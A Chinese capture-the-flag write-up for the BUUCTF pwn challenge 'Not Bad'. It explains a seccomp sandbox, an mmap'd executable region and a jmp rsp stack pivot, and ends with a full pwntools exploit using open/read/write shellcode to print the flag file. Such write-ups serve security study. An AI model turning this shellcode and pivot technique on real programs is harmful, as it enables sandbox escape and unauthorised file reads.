[BUUCTF-pwn]——[极客大挑战 2019]Not Bad
又是一道收获满满的题目.
peak小知识
- seccomp: seccomp是一种内核中的安全机制,正常情况下,程序可以使用所有的syscall,这是不安全的,比如程序劫持程序流后通过execve的syscall来getshell。所以可以通过seccomp_init、seccomp_rule_add、seccomp_load配合 或者prctl来ban掉一些系统调用.
- seccomp-tools: 沙盒工具, 可以查看那些系统调用可以被使用, 安装在我的环境搭建专栏里面有, 也可以点我点我
保护基本木有开启, 只是开启了地址随机化
在IDA中看看
利用mmap创建了从0x123000开始长度为0x1000的可执行区域.
不清楚的可以看下之前的peak小知识, 或者百度.
发现一些系统调用被禁用
利用沙盒查看下, 发现read、write、open、exit系统调用可以使用.
一个典型的ORW问题
继续看IDA
其实可以在栈上进行编写shellcode的,但是发现大小不够
所以可以转跳至mmap的区域, 我们可以利用栈劫持, 将程序劫持到我们的栈上, 使其按照我们想要的方式运行
下面是exploit
exploit
from pwn import *
p=remote('node3.buuoj.cn',26573)
p = process('./bad')
context.binary=ELF('./bad')
#gdb.attach(p, 'b puts')
mmap=0x123000
jmp_rsp=0x400A01
# 劫持到栈上并执行buf的代码
payload1=(asm(shellcraft.read(0,mmap,0x100))+asm("mov rax,0x123000;call rax")).ljust(0x28,'\x00')+p64(jmp_rsp)+asm("sub rsp,0x30;jmp rsp")
p.sendafter('have fun!',payload1)
#其实这个基本都是这样可以记着
payload2=shellcraft.open('./flag')
payload2+=shellcraft.read(3,mmap+0x100,0x50)
payload2+=shellcraft.write(1,mmap+0x100,0x50)
p.send(asm(payload2))
p.interactive()